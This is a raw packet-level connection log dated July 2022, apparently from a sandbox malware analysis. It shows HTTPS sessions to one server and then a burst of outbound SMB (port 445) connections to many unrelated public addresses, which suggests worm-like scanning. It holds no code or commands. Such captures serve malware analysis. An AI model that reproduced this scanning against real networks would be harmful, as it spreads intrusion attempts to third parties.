Jul 20, 2022 13:24:37.822649002 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822649956 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822664976 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822688103 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822724104 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822736979 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822762012 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822808027 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822817087 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.822849989 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.822853088 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.828701973 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.828754902 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.828833103 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.828855038 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.828896999 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.829005957 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.832142115 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.832290888 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.833254099 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.833281040 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.833360910 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.833378077 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.833395004 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.833400965 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.833452940 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.833458900 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.833483934 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.833518028 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.833548069 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.840166092 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.840221882 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.840322971 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.840343952 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.840396881 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.840409040 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.840420008 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.840627909 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841284037 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841325045 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841428041 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841451883 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841470003 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841505051 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841564894 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841579914 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841595888 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841618061 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841629982 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841634035 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841656923 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841722012 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841722012 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841742039 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841767073 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841778040 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841797113 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841835976 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841849089 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841866970 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841872931 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841902971 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.841912985 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841922998 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841955900 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.841959953 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842034101 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842046976 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842065096 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842067003 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842092991 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842166901 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842196941 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842302084 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842303991 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842308044 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842323065 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842324972 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842355967 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842395067 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842427015 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842430115 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842467070 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842483044 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842494965 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842525005 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842534065 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842576981 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842591047 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842632055 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842660904 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.842869997 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842869997 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842907906 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842909098 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.842986107 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843000889 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843009949 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843029976 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843034983 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843048096 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843048096 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843054056 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843132973 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843199968 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843224049 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843271971 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843274117 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843281984 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843286991 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843350887 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843384981 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843401909 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843430996 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843451977 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843492985 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843638897 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843676090 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843734026 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843745947 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843766928 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843782902 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843800068 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843830109 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843842983 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843863010 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.843883038 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.843997955 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.936106920 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.936120987 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936135054 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936343908 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.936351061 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936361074 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936371088 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936510086 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.936522007 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936537027 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936638117 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.936646938 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936656952 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936666012 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936779976 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.936788082 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.936801910 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.937915087 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.937927008 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.937941074 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.937951088 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938102007 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.938107014 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938117981 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938169003 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938211918 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938257933 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.938272953 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938286066 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938293934 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.938304901 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938352108 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.938427925 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.938440084 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938453913 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938842058 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.938853025 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938867092 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.938877106 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939148903 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939166069 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939182997 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939194918 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939479113 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939487934 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939502954 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939515114 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939615965 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939620018 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939639091 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939661026 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939671040 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939743042 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939872026 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.939882994 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939897060 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939909935 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.939913034 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940038919 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940045118 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940052986 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940067053 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940078974 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940145969 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940150023 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940159082 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940187931 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940200090 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940211058 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940234900 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940316916 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940321922 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940325022 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940334082 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940346956 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940350056 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940398932 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940408945 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940418959 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940424919 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940448046 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940458059 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940500021 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940556049 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940567970 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940577030 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940588951 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940593958 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940602064 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940617085 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940648079 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940655947 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940737009 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940747023 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940767050 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940926075 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940931082 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940937042 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940965891 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.940975904 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.940984011 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941031933 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941205978 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941216946 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941237926 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941241026 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941251993 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941303015 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941371918 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941384077 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941394091 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941402912 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941427946 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941461086 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941468954 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941482067 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941503048 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941523075 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941566944 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941567898 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941581011 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941612959 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941639900 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941658974 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941663027 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941673040 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941705942 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941724062 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941744089 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941768885 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941777945 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941785097 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941806078 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941834927 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941874981 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941921949 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941943884 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941946983 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941951990 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.941960096 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.941977978 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.942034960 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.942048073 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.942061901 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.942070007 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.942080021 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.942094088 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.942106962 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.942151070 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.942158937 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.942208052 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.942313910 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.949999094 CEST	50630	445	192.168.2.7	8.212.217.99
Jul 20, 2022 13:24:37.953772068 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.953805923 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.953877926 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.953896046 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.953917980 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.953963995 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.954061985 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.954543114 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.954566956 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.954669952 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.954687119 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.954761982 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.955140114 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.955163002 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:37.955347061 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:37.965869904 CEST	50631	445	192.168.2.7	207.87.92.73
Jul 20, 2022 13:24:37.966412067 CEST	50632	445	192.168.2.7	36.155.70.66
Jul 20, 2022 13:24:37.967128992 CEST	50633	445	192.168.2.7	7.151.38.227
Jul 20, 2022 13:24:37.967843056 CEST	50634	445	192.168.2.7	57.89.69.187
Jul 20, 2022 13:24:37.968564034 CEST	50635	445	192.168.2.7	219.142.176.0
Jul 20, 2022 13:24:37.969283104 CEST	50636	445	192.168.2.7	123.105.192.131
Jul 20, 2022 13:24:37.969985008 CEST	50637	445	192.168.2.7	203.173.118.185
Jul 20, 2022 13:24:37.970726967 CEST	50638	445	192.168.2.7	3.206.9.101
Jul 20, 2022 13:24:37.971704960 CEST	50639	445	192.168.2.7	185.15.42.248
Jul 20, 2022 13:24:37.972352028 CEST	50640	445	192.168.2.7	54.176.36.193
Jul 20, 2022 13:24:38.003792048 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.003820896 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.003865004 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.004087925 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.004414082 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.004995108 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.005235910 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.006581068 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.006606102 CEST	443	50599	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.006618023 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.006778955 CEST	50599	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.017313957 CEST	445	50639	185.15.42.248	192.168.2.7
Jul 20, 2022 13:24:38.017452955 CEST	50639	445	192.168.2.7	185.15.42.248
Jul 20, 2022 13:24:38.017644882 CEST	50639	445	192.168.2.7	185.15.42.248
Jul 20, 2022 13:24:38.018353939 CEST	50641	445	192.168.2.7	185.15.42.1
Jul 20, 2022 13:24:38.044512033 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.047379971 CEST	50643	445	192.168.2.7	211.34.246.25
Jul 20, 2022 13:24:38.047409058 CEST	50642	445	192.168.2.7	106.10.13.14
Jul 20, 2022 13:24:38.047415972 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.047723055 CEST	50644	445	192.168.2.7	45.154.247.77
Jul 20, 2022 13:24:38.047739029 CEST	50645	445	192.168.2.7	136.97.75.56
Jul 20, 2022 13:24:38.047847033 CEST	50647	445	192.168.2.7	176.201.208.204
Jul 20, 2022 13:24:38.047950029 CEST	50646	445	192.168.2.7	98.69.204.214
Jul 20, 2022 13:24:38.047992945 CEST	50648	445	192.168.2.7	88.112.107.109
Jul 20, 2022 13:24:38.048037052 CEST	50649	445	192.168.2.7	190.169.156.74
Jul 20, 2022 13:24:38.048063993 CEST	50650	445	192.168.2.7	160.20.17.108
Jul 20, 2022 13:24:38.048070908 CEST	50651	445	192.168.2.7	79.3.141.74
